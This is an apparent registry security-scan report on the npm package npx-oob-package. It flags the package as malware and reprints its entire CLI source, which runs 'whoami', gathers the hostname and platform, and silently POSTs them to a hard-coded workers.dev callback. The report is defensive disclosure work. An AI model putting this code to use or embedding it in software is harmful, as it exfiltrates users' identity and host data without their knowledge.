registry / npx-oob-package / 1.0.2

npx-oob-package@1.0.2

Minimal npx package that POSTs package name and whoami to an OOB callback

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Running the CLI transmits local identity and host fingerprint data to a hard-coded third-party callback. The request is concealed by swallowing failures.

Static reason

One or more suspicious static signals were detected.

Trigger

An explicit invocation of the npx-oob-package CLI.

Impact

Discloses the executing account name, hostname, platform, and package name to the callback operator.

Mechanism

Host fingerprint collection and external POST exfiltration.

Attack narrative

When invoked, the CLI determines the current account name and gathers hostname and platform details. It submits those values in a POST request to a hard-coded external callback. The package does not provide a local function beyond this reporting behavior, and it suppresses request errors, making the disclosure unobvious to the user.

Rationale

The package's implemented behavior is an external transfer of local identity and host data to an unrelated hard-coded endpoint. Explicit CLI invocation does not make this covert fingerprint exfiltration package-aligned.

Evidence

bin/cli.jspackage.json

Network endpoints1

oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

The CLI collects the current user name, host name, and platform, then posts them to an external callback.
The callback URL is hard-coded and network failures are silently suppressed.

Evidence against

There are no npm lifecycle hooks or dependencies.
The code runs only when the package's explicit CLI command is invoked.

Behavioral surface

Source

ChildProcessNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.01 KB of source, external domains: oobme.kunalsharma0553.workers.dev

Source & flagged code

6 flagged

bin/cli.jsView file

Lines 1-48javascript

1#!/usr/bin/env node

3const { execFileSync } = require("node:child_process");

4const os = require("node:os");

5const { name } = require("../package.json");

7const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";

High

Ai Review Evidence

The callback URL is hard-coded and network failures are silently suppressed.

bin/cli.jsView on unpkg · L7

9function whoami() {

10 try {

11 return execFileSync("whoami", { encoding: "utf8" }).trim();

12 } catch {

13 try {

14 return os.userInfo().username;

15 } catch {

16 return "unknown";

17 }

18 }

19}

21async function main() {

22 const user = whoami();

23 const url = new URL(OOB_URL);

24 url.searchParams.set("pkg", name);

25 url.searchParams.set("whoami", user);

High

Ai Review Evidence

The CLI collects the current user name, host name, and platform, then posts them to an external callback.

bin/cli.jsView on unpkg · L21

27 try {

28 await fetch(url.toString(), {

29 method: "POST",

30 headers: {

31 "Content-Type": "application/json",

32 "User-Agent": `npx/${name}`,

33 "X-Package-Name": name,

34 },

35 body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

36 pkg: name,

37 whoami: user,

38 hostname: os.hostname(),

39 platform: os.platform(),

40 }),

41 });

High

Ai Review Evidence

The CLI collects the current user name, host name, and platform, then posts them to an external callback.

bin/cli.jsView on unpkg · L35

42 } catch {

43 // OOB ping is best-effort; exit cleanly either way

High

Ai Review Evidence

The callback URL is hard-coded and network failures are silently suppressed.

bin/cli.jsView on unpkg · L42

44 }

45}

47main();

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

Source & flagged code

6 flagged · loading source

bin/cli.jsView file

2L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

21async function main() { const user = whoami(); const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user);

High

Ai Review Evidence

The CLI collects the current user name, host name, and platform, then posts them to an external callback.

bin/cli.jsView on unpkg · L21

35body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }), });

High

Ai Review Evidence

The CLI collects the current user name, host name, and platform, then posts them to an external callback.

bin/cli.jsView on unpkg · L35

7const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";

High

Ai Review Evidence

The callback URL is hard-coded and network failures are silently suppressed.

bin/cli.jsView on unpkg · L7

42} catch { // OOB ping is best-effort; exit cleanly either way

High

Ai Review Evidence

The callback URL is hard-coded and network failures are silently suppressed.

bin/cli.jsView on unpkg · L42

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

Findings

6 High1 Medium2 Low

HighHost Fingerprint Exfiltrationbin/cli.js

HighSemantic Analysis Limitedpackage.json

HighAi Review Evidencebin/cli.js

MediumNetwork

LowHigh Entropy Strings

LowUrl Strings